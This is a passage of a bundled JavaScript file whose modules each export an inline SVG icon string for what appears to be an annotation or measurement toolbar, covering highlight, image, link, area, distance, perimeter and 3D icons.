8.33997Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><defs><style>.cls-1{fill:#abb0c4;} .cls-0{fill: none}</style></defs><title>icon - tool - free highlight - fill</title><rect class="cls-2" x="4" y="5" width="16" height="16" rx="1" fill="none" fill-rule="evenodd" stroke="#868E96" strokestroke-width="2"></rect><rect class="cls-1" x="5" y="2" width="2" height="4"></rect><rect class="cls-1" x="17" y="2" width="2" height="4"></rect><rect class="cls-1" x="3" y="8" width="18" height="2"></rect><rect class="cls-1" x="7" y="11" width="2" height="2"></rect><rect class="cls-1" x="11" y="11" width="2" height="2"></rect><rect class="cls-1" x="15" y="11" width="2" height="2"></rect></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - free highlight - fill</title><path class="cls-1" d="M20.87,7a1,1,0,0,1-.29.71L12.8,15.34h0a1.2,1.2,0,0,1-.53.29l-3.81.87L7.18,17.78H4.11l2-2.46,1.09-4.79a1,1,0,0,1,.3-.54l7.82-7.7a.89.89,0,0,1,1.32,0l4,4A.73.73,0,0,1,20.87,7Zm-9,6.48L9.33,11.11a.4.4,0,0,0-.65.2l-.77,3.33a.39.39,0,0,0,.49.46l3.29-1A.39.39,0,0,0,11.84,13.44Z"></path><path class="cls-1" d="M19,17.59a18.9,18.9,0,0,1,.76,3.31A6.18,6.18,0,0,0,16.29,19a7.6,7.6,0,0,0-3.54.35,37.3,37.3,0,0,0-4.07,1.72,7,7,0,0,1-4.09.9,1.72,1.72,0,0,1-1.06-.74,1.62,1.62,0,0,1-.22-.46,1.71,1.71,0,0,1-.09-.3,2.4,2.4,0,0,1,.1-1.6A2.51,2.51,0,0,1,3.88,18s.39,1.93.39,1.93a.26.26,0,0,0-.22.24c0,.29,1.18.13,2.15-.23a13.24,13.24,0,0,0,2-1,20.92,20.92,0,0,1,4.44-2.15,8.49,8.49,0,0,1,3.88-.36,4.88,4.88,0,0,1,1.72.66C18.42,17.18,19,17.59,19,17.59Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - free highlight - line</title><path class="cls-1" d="M19,17.59a18,18,0,0,1,.76,3.31A6.14,6.14,0,0,0,16.28,19a7.74,7.74,0,0,0-3.54.35,37.3,37.3,0,0,0-4.07,1.72,7,7,0,0,1-4.09.9,1.82,1.82,0,0,1-1.06-.74,2,2,0,0,1-.22-.46,1.14,1.14,0,0,0-.09-.3,2.38,2.38,0,0,1,.11-1.6A2.29,2.29,0,0,1,3.88,18l.38,1.93a.27.27,0,0,0-.22.24c0,.29,1.19.13,2.15-.23a12.88,12.88,0,0,0,2-1,20.85,20.85,0,0,1,4.43-2.15,8.52,8.52,0,0,1,3.88-.36,4.88,4.88,0,0,1,1.72.66C18.41,17.18,19,17.59,19,17.59Z"></path><path class="cls-1" d="M20.69,6.29l-.05,0L16.69,2.3a.94.94,0,0,0-1.33,0,.08.08,0,0,0,0,0L7.45,10.11a.8.8,0,0,0-.29.49L6.07,15.39l-1.9,2.39H7.23l1.21-1.21,3.84-.86a.8.8,0,0,0,.5-.3l7.86-7.79A1,1,0,0,0,20.69,6.29ZM11.9,13.52,9.32,10.94,16.1,4.27l2.58,2.58Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><rect width="24" height="24" rx="4" fill="none"></rect><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5575 5.37583V8.00667C18.5365 8.18801 18.391 8.32966 18.2092 8.34583H17.4575C17.2499 8.34583 17.0817 8.17757 17.0817 7.97V6.97083H13.0117V17.5125H14.4233C14.6309 17.5125 14.7992 17.6808 14.7992 17.8883V18.64C14.7992 18.8476 14.6309 19.0158 14.4233 19.0158H9.16167C8.9541 19.0158 8.78583 18.8476 8.78583 18.64V17.8883C8.78583 17.6808 8.9541 17.5125 9.16167 17.5125H10.5733V6.97083H6.53083V8.00667C6.5119 8.1998 6.34905 8.34676 6.155 8.34583H5.37583C5.17223 8.33656 5.00927 8.1736 5 7.97V5.37583C5 5.16827 5.16827 5 5.37583 5H18.2092C18.4059 5.01443 18.558 5.17855 18.5575 5.37583Z" fill="black"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M20 2H4C2.89543 2 2 2.89543 2 4V20C2 21.1046 2.89543 22 4 22H20C21.1046 22 22 21.1046 22 20V4C22 2.89543 21.1046 2 20 2ZM4 0C1.79086 0 0 1.79086 0 4V20C0 22.2091 1.79086 24 4 24H20C22.2091 24 24 22.2091 24 20V4C24 1.79086 22.2091 0 20 0H4Z" fill="stroke"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - highlight</title><path class="cls-1" d="M9.91,13.07h3.86L11.84,8.46Zm5.46,3.68L14.62,15H9.05L7.77,18H5.63L10.45,6.64a1,1,0,0,1,1-.64h1a1.23,1.23,0,0,1,1,.64l2,4.91V4H5.85A2.22,2.22,0,0,0,3.63,6.22V17.78A2.22,2.22,0,0,0,5.85,20h9.52Z"></path><rect class="cls-1" x="18.37" y="2" width="2" height="20"></rect></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}.cls-2{fill:#fff;}</style></defs><title>icon - tool - image - fill</title><path class="cls-1" d="M19.78,2H4.22A2.23,2.23,0,0,0,2,4.22V19.78A2.23,2.23,0,0,0,4.22,22H19.78A2.23,2.23,0,0,0,22,19.78V4.22A2.23,2.23,0,0,0,19.78,2ZM14.13,9.6l5.65,9H4.22l3.55-5.18,2.06,3Z"></path><polygon class="cls-2" points="14.13 9.6 19.78 18.63 11.31 18.63 8.49 18.63 4.22 18.63 7.77 13.45 9.84 16.47 14.13 9.6"></polygon></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - image - line</title><path class="cls-1" d="M19.89,2H4.33A2.23,2.23,0,0,0,2.11,4.22V19.78A2.23,2.23,0,0,0,4.33,22H19.89a2.22,2.22,0,0,0,2.22-2.22V4.22A2.22,2.22,0,0,0,19.89,2ZM4.33,19.78V4.22H19.89V19.78Z"></path><polygon class="cls-1" points="13.94 8.13 18.78 15.87 11.52 15.87 9.1 15.87 5.45 15.87 8.48 11.43 10.26 14.02 13.94 8.13"></polygon></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - link</title><g><rect class="cls-1" x="5.51" y="10.92" width="12.99" height="2.16" transform="translate(-4.97 12) rotate(-45)"></rect><path class="cls-1" d="M9.7,18.89A3.25,3.25,0,0,1,5.11,14.3l3.06-3.07L6.64,9.7,3.58,12.77a5.41,5.41,0,0,0,7.66,7.65l3.06-3.06-1.53-1.53Z"></path><path class="cls-1" d="M20.42,3.58a5.41,5.41,0,0,0-7.65,0L9.7,6.64l1.54,1.53L14.3,5.11A3.25,3.25,0,0,1,18.89,9.7l-3.06,3.07,1.53,1.53,3.06-3.07A5.41,5.41,0,0,0,20.42,3.58Z"></path></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19 8C19 7.44772 19.4477 7 20 7C20.5523 7 21 7.44772 21 8C21 8.55228 20.5523 9 20 9C19.4477 9 19 8.55228 19 8Z" fill="black"></path><path d="M19 12C19 11.4477 19.4477 11 20 11C20.5523 11 21 11.4477 21 12C21 12.5523 20.5523 13 20 13C19.4477 13 19 12.5523 19 12Z" fill="black"></path><path d="M19 16C19 15.4477 19.4477 15 20 15C20.5523 15 21 15.4477 21 16C21 16.5523 20.5523 17 20 17C19.4477 17 19 16.5523 19 16Z" fill="black"></path><path d="M15 20C15 19.4477 15.4477 19 16 19C16.5523 19 17 19.4477 17 20C17 20.5523 16.5523 21 16 21C15.4477 21 15 20.5523 15 20Z" fill="black"></path><path d="M11 20C11 19.4477 11.4477 19 12 19C12.5523 19 13 19.4477 13 20C13 20.5523 12.5523 21 12 21C11.4477 21 11 20.5523 11 20Z" fill="black"></path><path d="M7 20C7 19.4477 7.44772 19 8 19C8.55228 19 9 19.4477 9 20C9 20.5523 8.55228 21 8 21C7.44772 21 7 20.5523 7 20Z" fill="black"></path><path d="M21 4.90556C21 5.13138 20.7893 5.29793 20.5679 5.25357C19.7378 5.08725 18.8791 5 18 5C10.8203 5 5 10.8203 5 18C5 18.8791 5.08725 19.7378 5.25357 20.5679C5.29793 20.7893 5.13138 21 4.90556 21H3.70876C3.47096 21 3.26516 20.8327 3.22424 20.5984C3.07685 19.7544 3 18.8862 3 18C3 9.71573 9.71573 3 18 3C18.8862 3 19.7544 3.07685 20.5984 3.22424C20.8327 3.26516 21 3.47096 21 3.70876V4.90556Z" fill="black"></path><path d="M19 20C19 19.4477 19.4477 19 20 19C20.5523 19 21 19.4477 21 20C21 20.5523 20.5523 21 20 21C19.4477 21 19 20.5523 19 20Z" fill="black"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M12,2C6.5,2,2,6.5,2,12c0,5.5,4.5,10,10,10c5.5,0,10-4.5,10-10C22,6.5,17.5,2,12,2z M4.2,13.8 C4.1,13.2,4,12.6,4,12c0-4.4,3.6-8,8-8c0.6,0,1.2,0.1,1.8,0.2L4.2,13.8z M5,15.8L15.8,5c1.3,0.7,2.4,1.8,3.1,3.1L8.1,19l0,0 C6.8,18.2,5.7,17.1,5,15.8z M12,20c-0.6,0-1.1-0.1-1.6-0.2l0,0l9.4-9.5c0.1,0.5,0.2,1.1,0.2,1.7C20,16.4,16.4,20,12,20z"></path><path fill="none" d="M13.8,4.2l-9.6,9.6C4.1,13.2,4,12.6,4,12c0-4.4,3.6-8,8-8C12.6,4,13.2,4.1,13.8,4.2z M15.8,5L5,15.8 c0.7,1.3,1.8,2.4,3.1,3.1l0,0L19,8.1C18.2,6.8,17.1,5.7,15.8,5z M19.8,10.3l-9.4,9.5l0,0c0.5,0.1,1.1,0.2,1.6,0.2c4.4,0,8-3.6,8-8 C20,11.4,19.9,10.9,19.8,10.3z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}.cls-2{fill:#fff;}</style></defs><title>icon - tool - measurement - area - fill</title><path class="cls-1" d="M19.14,2H4.86A2.86,2.86,0,0,0,2,4.86V19.14A2.86,2.86,0,0,0,4.86,22H19.14A2.86,2.86,0,0,0,22,19.14V4.86A2.86,2.86,0,0,0,19.14,2ZM10.22,4H13L4,13V10.22ZM4,20V18.71L18.71,4H20V5.54L5.54,20Zm10.06,0H11.23L20,11.23v2.83Z"></path><path class="cls-2" d="M10.22,4H13L4,13V10.22ZM4,20V18.71L18.71,4H20V5.54L5.54,20Zm10.06,0H11.23L20,11.23v2.83Z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M18.5,2.8H5.5C4,2.8,2.8,4,2.8,5.5v13.1c0,1.4,1.2,2.6,2.6,2.6h13.1c1.4,0,2.6-1.2,2.6-2.6V5.5 C21.2,4,20,2.8,18.5,2.8z M4.7,4.7h5.7l-5.7,5.7V4.7z M4.7,18.2v-5.2l0,0l8.3-8.3l0,0h5.2L4.7,18.2z M6.1,19.3L19.3,6.1l0,5.2l-8,8 H6.1z M13.9,19.3l5.4-5.4l0,5.4H13.9z"></path><path fill="none" d="M10.4,4.7l-5.7,5.7V4.7H10.4z M12.9,4.7L12.9,4.7l-8.2,8.3l0,0v5.2L18.2,4.7H12.9z M19.3,6.1L6.1,19.3h5.2l8-8 L19.3,6.1z M19.3,13.9l-5.4,5.4h5.4L19.3,13.9z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path class="st0" d="M21.9,8.9l-9.2-6.7c-0.4-0.3-1-0.3-1.5,0L2.1,8.9c-0.4,0.3-0.6,0.9-0.5,1.4l3.5,10.8C5.3,21.6,5.8,22,6.3,22 h11.3c0.5,0,1-0.4,1.2-0.9l3.5-10.8C22.6,9.8,22.4,9.2,21.9,8.9z M12,4.3l1.9,1.4l-8.9,8.9l0,0l-1.4-4.2L12,4.3z M6.9,20.1l-1.1-3.4 l0,0l9.8-9.8l3.6,2.6h0L8.6,20.1H6.9z M17.1,20.1h-5.4l8.1-8.2h0L17.1,20.1z"></path><path fill="none" d="M13.9,5.7l-8.9,8.9l-1.4-4.2l8.3-6L13.9,5.7z M19.2,9.5l-3.6-2.6l-9.8,9.8l1.1,3.4h1.7L19.2,9.5L19.2,9.5z M19.8,11.9l-8.1,8.2h5.4L19.8,11.9L19.8,11.9z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} .st1{fill:none;} </style><path class="st0" d="M20.5,10.7c-0.5-4.2-4.2-7.3-8.4-7.3c-3.3,0-6.3,1.9-7.5,4.9C2,9.2,0.1,11.5,0,14.1c0,3.2,2.8,6,6,6h13.2 c2.6,0,4.9-2.2,4.7-4.8C24,13.2,22.6,11.3,20.5,10.7z M18.9,17.4H6.4C4.6,17.4,3,15.8,3,14c0.1-1.7,1.3-3.1,3-3.4l0.7-0.1l0.3-0.6 c0.7-2.2,2.8-3.8,5.1-3.8c3.1,0,5.6,2.5,5.6,5.6v1.2h1.2c1.2,0,2.2,1,2.2,2.2C21.1,16.3,20.1,17.4,18.9,17.4z"></path><path fill="none" d="M18.9,17.4H6.4C4.6,17.4,3,15.9,3,14c0.1-1.7,1.3-3.1,3-3.4l0.7-0.1l0.3-0.7c0.7-2.2,2.8-3.8,5.1-3.8 c3.1,0,5.6,2.5,5.6,5.6v1.2h1.2c1.2,0,2.2,1,2.2,2.2C21.1,16.4,20.1,17.4,18.9,17.4z"></path><polygon class="st0" points="11.4,4.9 12.6,5.9 4.5,17.1 3.3,16.1 "></polygon><polygon class="st0" points="15.5,7.1 16.7,8 9.5,18.3 8.3,17.4 "></polygon><polygon class="st0" points="18.3,10.8 19.3,11.6 14.5,18.3 13.5,17.5 "></polygon></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - measurement - distance - fill</title><path class="cls-1" d="M21.46,6.59l-4.05-4a2,2,0,0,0-2.79.08l-12,12a2,2,0,0,0-.08,2.79l4.05,4.05a2,2,0,0,0,2.79-.08l12-12A2,2,0,0,0,21.46,6.59ZM7.27,16.73l-2-2,1.35-1.35,2,2Zm3.38-2L7.94,12,9.3,10.65l2.7,2.7Zm2-3.38-2-2L12,7.94l2,2Zm3.38-2L13.35,6.59,14.7,5.24l2.71,2.7Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - measurement - distance - line</title><path class="cls-1" d="M21.46,6.59l-4.05-4a2,2,0,0,0-2.79.08l-12,12a2,2,0,0,0-.08,2.79l4.05,4.05a2,2,0,0,0,2.79-.08l12-12A2,2,0,0,0,21.46,6.59ZM20,8,8,20a.43.43,0,0,1-.09.06s0,0,0,0l-4-4A.17.17,0,0,1,4,16L5.24,14.7l2,2,1.35-1.35-2-2L7.94,12l2.71,2.7L12,13.35l-2.7-2.7L10.65,9.3l2,2L14,10l-2-2,1.35-1.35L16.06,9.3l1.35-1.36L14.7,5.24,16,4c.06-.05.1-.06.09-.08l4,4A.17.17,0,0,1,20,8Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - measurement - perimeter</title><path class="cls-1" d="M16.07,4.3H7.92v-2h8.15ZM4,15.43H2v1.85a1.81,1.81,0,0,0,1.81,1.8h1.8v-2H4ZM4,4.28H5.6v-2H3.8A1.81,1.81,0,0,0,2,4.08V5.89H4ZM4,8.21H2v4.91H4ZM17.71,21.6a.4.4,0,0,0,.68-.28V14.8a.4.4,0,0,0-.68-.28l-3.26,3.26a.4.4,0,0,0,0,.56ZM20,5.89h2V4.09a1.82,1.82,0,0,0-1.81-1.81h-1.8v2H20Zm0,2.32v4.91h2V8.21ZM20,17H18.4v2h1.8A1.81,1.81,0,0,0,22,17.28v-1.8H20ZM9.27,17H7.92v2H9.27V21h2V14.69h-2Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M16.2204 6.27987L12.0004 10.4999L7.78036 6.27987C7.62482 6.12741 7.3759 6.12741 7.22036 6.27987L6.28036 7.21987C6.1279 7.37541 6.1279 7.62433 6.28036 7.77987L10.5004 11.9999L6.28036 16.2199C6.1279 16.3754 6.1279 16.6243 6.28036 16.7799L7.22036 17.7199C7.3759 17.8723 7.62482 17.8723 7.78036 17.7199L12.0004 13.4999L16.2204 17.7199C16.3759 17.8723 16.6248 17.8723 16.7804 17.7199L17.7204 16.7799C17.8728 16.6243 17.8728 16.3754 17.7204 16.2199L13.5004 11.9999L17.7204 7.77987C17.8728 7.62433 17.8728 7.37541 17.7204 7.21987L16.7804 6.27987C16.6248 6.12741 16.3759 6.12741 16.2204 6.27987Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 529 472" preserveAspectRatio="xMidYMid meet"><metadata> Created by potrace 1.16, written by Peter Selinger 2001-2019 </metadata><title>icon - 3D</title><g transform="translate(0,472) scale(0.1,-0.1)" fill="#abb0c4" stroke="none"><path d="M2414 4710 c-12 -5 -39 -11 -60 -15 -43 -7 -81 -14 -104 -18 -8 -2 -33 -8 -55 -14 -22 -7 -54 -14 -71 -16 -17 -3 -40 -9 -50 -15 -11 -5 -32 -12 -49 -15 -16 -3 -37 -8 -45 -11 -8 -3 -26 -8 -40 -10 -43 -8 -81 -19 -255 -71 -49 -15 -153 -45 -230 -66 -77 -22 -148 -41 -157 -44 -10 -3 -28 -8 -40 -11 -30 -7 -40 -10 -58 -17 -19 -6 -105 -32 -145 -43 -16 -4 -32 -8 -35 -9 -3 -1 -25 -7 -50 -14 -25 -6 -63 -18 -85 -25 -56 -19 -185 -58 -199 -60 -6 -1 -15 -4 -21 -7 -5 -4 -41 -16 -80 -29 -81 -25 -187 -79 -229 -116 -28 -25 -29 -33 -4 -38 64 -12 128 -31 128 -38 0 -5 4 -7 9 -3 5 3 29 -2 53 -10 24 -9 51 -18 60 -20 21 -6 16 -4 198 -55 80 -23 152 -43 160 -45 8 -3 76 -21 150 -42 74 -20 137 -39 140 -42 5 -6 19 -10 60 -17 14 -3 32 -7 40 -11 16 -6 24 -9 55 -17 92 -24 309 -86 323 -92 23 -10 55 -18 111 -30 14 -3 28 -7 33 -10 4 -3 16 -7 25 -9 10 -2 83 -22 163 -45 80 -23 197 -55 260 -72 63 -17 117 -34 120 -37 3 -3 12 -8 20 -9 67 -16 61 -14 130 -35 51 -16 58 -16 110 0 69 21 82 24 138 37 9 2 39 12 66 21 26 9 57 19 67 21 11 2 29 7 42 10 12 3 27 6 32 7 6 2 15 5 20 9 9 5 303 88 365 103 8 2 15 4 15 5 0 1 7 3 15 5 76 19 80 20 102 29 14 6 231 68 323 92 31 8 39 11 55 17 8 4 26 8 40 11 41 7 55 11 60 17 3 3 75 24 160 47 169 47 190 52 205 55 6 2 16 6 23 11 7 4 16 5 19 2 3 -3 11 -2 17 4 7 5 86 30 176 55 91 25 190 53 220 61 30 9 63 18 74 20 30 6 30 11 0 38 -49 43 -153 92 -284 134 -201 65 -258 82 -275 82 -8 0 -15 4 -15 8 0 5 -6 9 -12 10 -7 0 -22 3 -33 6 -11 3 -40 10 -65 16 -42 10 -64 17 -115 36 -26 9 -30 10 -135 38 -215 57 -296 81 -302 90 -4 6 -8 8 -8 4 0 -6 -65 11 -225 58 -66 19 -84 24 -120 31 -16 2 -48 11 -70 19 -22 8 -51 17 -65 20 -14 3 -43 10 -65 16 -61 17 -53 15 -127 34 -13 3 -41 7 -63 10 -22 2 -62 7 -90 10 -78 10 -428 12 -451 4z"></path><path d="M63 3692 c-24 -57 -48 -152 -53 -207 -5 -49 -5 -2405 0 -2435 8 -56 55 -185 87 -239 44 -74 149 -186 210 -224 39 -25 104 -52 145 -62 9 -2 52 -15 95 -29 158 -50 213 -66 228 -66 8 0 15 -5 15 -12 0 -6 2 -9 6 -6 3 3 26 -1 52 -9 60 -18 81 -24 115 -30 15 -3 27 -10 27 -15 0 -5 4 -6 10 -3 5 3 16 3 23 -2 6 -4 14 -8 17 -8 36 -6 120 -30 120 -34 0 -4 8 -7 18 -8 9 0 58 -13 107 -27 96 -28 114 -33 144 -40 11 -3 30 -10 43 -17 13 -7 24 -12 26 -11 1 1 3 2 5 1 1 0 9 -2 17 -4 8 -2 25 -6 38 -9 12 -3 32 -9 45 -12 31 -7 40 -10 57 -17 8 -4 26 -8 40 -11 14 -2 59 -14 100 -26 41 -12 86 -23 100 -26 14 -2 36 -9 50 -14 24 -9 95 -27 135 -34 11 -2 34 -6 51 -10 17 -3 48 -8 70 -12 21 -3 48 -7 59 -9 11 -3 36 -7 55 -11 19 -4 55 -7 80 -8 42 -1 44 1 51 31 3 18 7 704 8 1526 2 1224 0 1494 -11 1495 -7 0 -22 3 -33 6 -11 3 -81 22 -155 43 -74 20 -137 39 -140 42 -5 6 -19 10 -60 17 -14 3 -41 10 -60 16 -19 7 -39 13 -45 14 -64 16 -337 94 -344 99 -6 3 -20 8 -31 11 -11 2 -28 6 -37 9 -10 3 -83 23 -163 45 -79 22 -151 43 -160 46 -8 4 -18 7 -22 6 -4 -1 -20 3 -35 10 -30 12 -36 14 -70 22 -50 13 -64 16 -80 21 -164 45 -256 71 -343 96 -58 17 -136 39 -175 50 -38 11 -77 23 -85 26 -21 8 -49 16 -100 27 -11 3 -25 8 -31 11 -5 4 -25 9 -42 12 -18 3 -37 9 -43 14 -6 5 -14 6 -17 2 -4 -3 -13 0 -22 7 -8 7 -15 10 -15 7 0 -3 -14 -2 -31 3 -29 9 -31 7 -46 -28z m932 -852 c0 -2 9 -4 20 -5 91 -14 133 -24 174 -42 20 -9 42 -17 49 -19 7 -1 38 -17 70 -34 175 -99 315 -267 370 -444 24 -79 20 -200 -8 -264 -27 -63 -89 -120 -165 -153 -30 -13 -55 -26 -55 -29 0 -3 14 -14 31 -24 54 -32 156 -135 199 -201 23 -36 55 -102 71 -147 26 -76 28 -92 25 -193 -7 -194 -67 -296 -220 -371 -68 -33 -70 -33 -210 -33 -130 1 -148 3 -226 30 -47 16 -121 51 -164 77 -102 60 -237 193 -298 292 -50 81 -104 222 -110 286 -3 38 -2 39 27 37 17 0 44 -4 60 -7 17 -3 46 -8 65 -11 44 -7 75 -13 75 -15 0 -1 16 -4 35 -7 51 -7 83 -25 85 -48 1 -11 12 -45 24 -75 50 -131 123 -204 243 -241 59 -18 71 -19 103 -8 52 19 100 62 123 113 29 60 25 196 -7 278 -49 125 -179 221 -315 233 -26 2 -50 6 -52 8 -9 9 -13 50 -7 61 4 6 8 26 9 46 1 19 3 35 3 35 1 0 4 22 7 50 3 27 9 54 14 60 5 6 48 10 103 9 86 -1 98 1 126 23 45 35 63 77 63 145 0 238 -315 374 -408 175 -13 -29 -24 -58 -24 -65 0 -20 -36 -7 -235 89 -97 47 -100 51 -86 100 59 197 184 299 356 293 33 -1 60 -3 60 -4z"></path><path d="M5178 3724 c-3 -2 -14 -7 -24 -9 -11 -2 -41 -11 -69 -19 -27 -8 -90 -27 -140 -41 -80 -24 -157 -45 -250 -69 -5 -1 -37 -11 -70 -21 -33 -10 -64 -20 -70 -21 -13 -4 -57 -14 -70 -17 -5 -2 -14 -5 -20 -8 -5 -4 -71 -23 -145 -43 -74 -21 -160 -45 -190 -53 -67 -20 -69 -20 -100 -28 -34 -8 -43 -11 -60 -18 -18 -8 -184 -55 -214 -62 -55 -11 -67 -14 -76 -20 -5 -3 -18 -8 -27 -10 -10 -2 -83 -23 -163 -45 -80 -23 -152 -43 -160 -45 -8 -2 -36 -11 -62 -19 -27 -8 -48 -12 -48 -9 0 3 -7 0 -15 -7 -8 -6 -18 -9 -24 -6 -5 3 -11 2 -13 -2 -1 -5 -50 -21 -108 -36 -58 -16 -125 -35 -148 -43 -24 -8 -53 -15 -63 -16 -20 -1 -20 -15 -18 -1495 1 -821 5 -1507 8 -1525 6 -29 10 -32 46 -32 22 -1 54 3 70 7 17 4 48 10 70 13 63 9 88 13 125 20 19 4 44 9 55 11 29 4 58 11 98 22 20 6 38 7 41 4 3 -3 6 -1 6 5 0 5 6 10 13 11 15 1 35 6 62 15 11 3 34 9 50 12 33 7 42 9 65 17 8 3 42 13 75 23 75 20 263 73 290 81 11 3 25 6 30 7 6 2 15 5 20 8 6 4 44 14 85 24 41 10 80 21 85 25 12 9 157 45 168 42 4 -1 7 2 7 7 0 5 17 12 38 17 20 4 39 8 42 9 76 22 97 28 108 28 6 0 12 4 12 9 0 4 8 8 18 8 9 0 36 7 59 15 22 8 52 16 65 19 12 2 35 9 51 15 15 6 27 8 27 5 0 -4 6 -2 13 3 6 6 58 25 113 42 151 46 256 133 349 287 30 49 77 179 85 234 5 29 5 2386 1 2435 -5 56 -47 201 -65 225 -12 16 -30 23 -38 14z m-858 -950 c19 -4 42 -8 50 -10 94 -16 183 -64 259 -141 132 -133 191 -308 185 -553 -1 -69 -5 -141 -8 -160 -2 -19 -7 -55 -11 -80 -37 -277 -235 -575 -505 -759 -73 -50 -170 -104 -170 -94 0 4 -4 2 -8 -4 -7 -12 -182 -77 -228 -86 -10 -2 -26 -6 -34 -9 -35 -13 -108 -36 -145 -47 -95 -26 -151 -43 -170 -52 -11 -5 -31 -11 -45 -13 -40 -8 -64 -14 -82 -21 -12 -5 -18 -2 -19 6 -1 8 -2 427 -3 931 l-1 917 40 11 c22 6 50 13 63 15 36 8 64 16 225 64 37 11 67 18 67 16 0 -2 16 3 36 11 20 8 39 13 41 10 3 -3 13 -1 23 4 9 5 28 11 41 14 28 6 64 14 99 21 14 3 43 8 65 11 22 3 41 6 42 8 5 4 160 -3 193 -10z"></path><path d="M3967 2443 c-2 -2 -17 -6 -33 -8 -44 -6 -73 -13 -84 -20 -5 -3 -19 -8 -30 -11 -11 -2 -30 -6 -42 -9 -12 -2 -26 -9 -31 -14 -18 -18 -22 -143 -22 -691 0 -529 0 -535 20 -533 25 3 46 8 65 16 8 3 51 18 95 32 279 91 443 251 517 505 24 84 29 123 32 250 6 241 -60 396 -198 461 -54 26 -68 28 -172 27 -62 0 -115 -2 -117 -5z"></path></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - tool - more</title><path class="cls-1" d="M14.5,12A2.5,2.5,0,1,1,12,9.5,2.51,2.51,0,0,1,14.5,12ZM4.5,9.5A2.5,2.5,0,1,0,7,12,2.51,2.51,0,0,0,4.5,9.5Zm15,0A2.5,2.5,0,1,0,22,12,2.51,2.51,0,0,0,19.5,9.5Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M6 2H12L17 7V16C17 17.1046 16.1046 18 15 18H6C4.89543 18 4 17.1046 4 16V4C4 2.89543 4.89543 2 6 2ZM6 3.75H11.2751L15.25 7.72487V16C15.25 16.1381 15.1381 16.25 15 16.25H6C5.86193 16.25 5.75 16.1381 5.75 16V4C5.75 3.86193 5.86193 3.75 6 3.75Z" fill="#868E96"></path><path d="M18.75 8.5H20.5V20.5C20.5 21.0523 20.0523 21.5 19.5 21.5H11.5V19.75H18.75V8.5Z" fill="#868E96"></path><path d="M11 3L16 8H11V3Z" fill="#868E96"></path><path d="M10.2982 12.8588L11.5355 14.0962L12.5962 13.0355L11.3588 11.7982L12.5962 10.5608L11.5355 9.50011L10.2982 10.7375L9.06066 9.5L8 10.5607L9.23749 11.7982L8 13.0356L9.06066 14.0963L10.2982 12.8588Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19.2 